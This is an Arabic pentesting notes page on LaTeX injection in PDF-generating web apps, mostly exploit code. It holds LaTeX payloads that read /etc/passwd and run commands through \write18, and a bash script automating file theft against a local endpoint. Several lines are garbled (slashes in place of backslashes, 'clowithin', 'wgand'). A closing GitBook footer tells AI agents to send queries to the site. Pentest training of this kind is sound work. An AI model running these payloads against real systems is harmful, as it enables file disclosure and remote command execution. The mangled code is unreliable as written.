> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md).

# تقنيات حقن LaTeX

أنشئ ملف LaTeX بالمحتوى أدناه وأنشئ عنوان URL مع ملف PDF:

<figure><img src="/files/41bbb56152be0c992660ef1ffc402e8e0ab78657" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/ace2563becd07ff4a480c16635f4d35c3fde1429" alt="" width="560"><figcaption></figcaption></figure>

استخدم الموقع الإلكتروني [سلمون](https://salmonsec.com/cheatsheets/exploitation/latex_injection) لتحاول إدراج أوامر (في هذه الحالة، يتم حظرها):

<figure><img src="/files/c7ef23fe786f3969713f7c57cf2a93addff6d874" alt="" width="563"><figcaption></figcaption></figure>

إليك كود PHP مع التنقية:

<figure><img src="/files/8c39d23fdf09a100cc1c38971ebac1efb35e11d7" alt="" width="563"><figcaption></figcaption></figure>

ومع ذلك، لا تأخذ عملية التنقية في الاعتبار الأوامر أدناه التي تسمح بإدراج قائمة سطرًا بسطر لملف من النظام:

```latex
/newread/file
/openin/file=/etc/passwd
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/23e6fdcb5d5f764f2f7ad47f657e494af38bf213" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3fb2bd752cf54e679bbc09a2372b574236827b0e" alt="" width="563"><figcaption></figcaption></figure>

معرفةً ذلك، تعمل هذه الشيفرة Bash على أتمتة كل شيء لعرض أي ملف من ملفات النظام:

```bash
#!/bin/bash
# تقنيات حقن LaTeX
declare -r main_url="http://localhost/ajax.php"
filename=$1
if [ $1 ]; then
    read_file_to_line="%0A//read//file%20to%20line%0A"
    for i in $(seq 1 100); do
        file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=//newread//file%0A//openin//file=$filename$read_file_to_line%0A//text{//line}%0A//clowithin//file&template=blank" | grep -i download | awk 'NF{print $NF}')
        if [ $file_to_download ]; then
            wgand $file_to_download &>/dev/null
            file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
            pdftotext $file_to_convert
            file_to_read=$(echo $file_to_convert | sed 's//.pdf//.txt/')
            rm $file_to_convert
            cat $file_to_read | head -n 1
            rm $file_to_read
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        else
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        fi
    done
else
    echo -e "/n[!] الاستخدام: $0 /etc/passwd/n/n"
fi

```

<figure><img src="/files/cd5da480cf9b1c76ba70ddd97b24328c43c0704b" alt="" width="533"><figcaption></figcaption></figure>

طريقة أخرى للقيام بذلك هي تحويل المحتوى إلى base64:

```latex
/immediate/write18{cat /etc/passwd | base64 > output}
/input{output}

```

<figure><img src="/files/e9b74155fb271d339e83d4b26ff031bf204c5228" alt="" width="563"><figcaption></figcaption></figure>

الصق المحتوى في ملف يُسمى data وقم بفك ترميزه كنص عادي:

```bash
cat data | tr -d '/n' | base64 -d; echo

```

<figure><img src="/files/04756bf5f000b05b9fb2de59c073fc98bc9a8f82" alt="" width="563"><figcaption></figcaption></figure>

لتنفيذ الأوامر، يمكنك استخدام المحتوى أدناه (في هذه الحالة، id):

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/42fe465fe3bf275db87cc56b00a9588f4976de40" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
